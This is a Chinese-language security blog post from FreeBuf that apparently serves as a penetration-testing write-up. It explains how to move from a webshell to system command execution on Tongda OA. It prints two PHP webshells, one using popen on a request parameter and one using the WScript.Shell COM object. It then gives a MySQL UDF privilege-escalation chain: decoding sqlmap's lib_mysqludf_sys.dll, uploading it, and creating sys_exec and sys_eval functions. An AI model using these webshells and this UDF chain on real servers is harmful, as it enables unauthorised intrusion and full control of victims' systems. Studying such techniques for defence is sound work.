freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

某知名OA命令执行方法探索(续)
盛邦安全WebRAY 2022-08-22 17:39:22 158549
所属地 北京

在上一篇文章之后,有小伙伴留言问通达OA获取权限后如何才能执行命令。本来是想留下一个小的悬念给大家,既然有人问起,咱们就把这个问题继续探讨一下。

传送门:

某知名OA高版本getshell思路(附部分脚本)

0x01 回顾过去

熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。

在老版本的通达(大约11.4)中,对disable_functions配置的有明显的缺陷,早期版本的通达配置如图1.1所示。

图1.1 早期通达OA的disable_functions配置

从图1.1中可以看出在禁用的函数中缺陷了popen函数,所以可以通过popen函数来执行系统命令,相关代码如下所示。

基于popen的命令执行

<?php
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;");
$fp=@popen($_REQUEST['cmd'],'r');
while(!@feof($fp)) {
  print(@fgets($fp,2048));
}
@pclose($fp);

另外网上也早有文章提到可以通过Windows的Com组件来执行命令,相关代码如下所示。

基于WScript的命令执行

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_REQUEST['cmd']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;exit();
?>

通过这两种方式都可以达到命令执行的效果,如图1.2所示。

图1.2 早期版本通达命令执行的方式

但是这两种方式在新版本的通达中均无法使用,首先来看新版本通达的disable_functions配置,如图1.3所示。

图1.3 新版本通达OA的disable_functions配置

可以看出在新版本中明显修复了早期版本中漏掉的popen函数,虽然并没有在disableClassed中禁用Com组件相关的类,但是实际上通达OA已经默默关闭了Com组件,如图1.4所示。

图1.4 对比新旧版版通达OA对Com组件支持的差异

所以上面的两种命令执行的方式对于新通达来说都已经不适用了,如果我们在哥斯拉中连接通达OA的webshell,在执行命令中会看到如图1.5所示的报错。

图1.5 通达OA命令执行报错

0x02 面对现实

仔细查看图1.3的disable_functions中,我们可以想到下面的绕过方式。

1) 利用LD_PRELOAD记载恶意so文件达到执行命令的效果行不行?答案是不行,一般来说通达OA都是windows的环境,不适用这种方式。

2) pcntl_exec函数没有在disable_functions的列表中,能不能利用这个函数来执行命令?答案也是不行,通达默认安装的环境没有pcntl扩展。

3) 利用ImageMagick来执行命令行不行?答案还是不行,默认安装的环境没有ImageMagick扩展。

目前想直接绕过disable_functions来执行命令已经是一件很难的事情了,换一种思路,我们目前有一个文件管理的webshell,并且通达OA默认安装都是system权限。怎么通过文件操作来执行命令呢?一种最简单的方式是直接把马上传到自启动目录,等待服务器重启,然后执行命令,这种是不是可行呢?可行,但是效果不好,一般不会这么用。因为一方面要等待服务器重启,这个条件不满足实际攻击场景,另一方面修改自启动目录容易被杀软拦截。

一种更好的办法是通过mysql udf来执行命令,整个利用过程如下所示。

图2.1 数据库配置文件

2) 生成udf.dll文件,网上虽然可以直接下载到很多udf.dll,但是不确定是不是有后门。而且其他随意下载的udf.dll文件经常导致数据库崩溃(多次血与泪的教训,dll不对会导致网站崩溃)。我强烈建议大家使用sqlmap自带的udf.dll文件,但是默认情况下sqlmap的udf是混淆过的,需要使用其自带的cloak工具转换回来才能使用。

1) 找到通达OA的数据库配置文件webroot/inc/oa_config.php。通达OA的源码文件默认是加密的,但是配置文件是不加密的,所以可以直接打开查看,如图2.1所示。

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

使用上面的命令,会在lib_mysqludf_sys.dll_文件所在目录生成一个lib_mysqludf_sys.dll的文件,这个才是能被直接使用的udf提权dll文件。

3) 把刚才生成的文件lib_mysqludf_sys.dll上传到目标的mysql5/lib/plugin目录,默认情况下不存在这个目录,需要创建目录。

4) 连接数据库,执行下面的语句

create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll';//执行命令返回状态码
create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //执行命令返回命令执行结果

select sys_eval("whoami");

如此方能在新版本中成功执行命令。

原文链接

# 命令执行 # OA
本文为 盛邦安全WebRAY 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
盛邦安全WebRAY LV.7
WebRAY官方账号
  • 771 文章数
  • 175 关注者
漏洞预警 | Kubernetes Ingress-NGINX Controller 存在未授权远程代码执行漏洞
2025-04-07
漏洞预警 | Vite 存在任意文件读取漏洞(CVE-2025-30208)
2025-03-31
漏洞预警 | Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)
2025-03-31
文章目录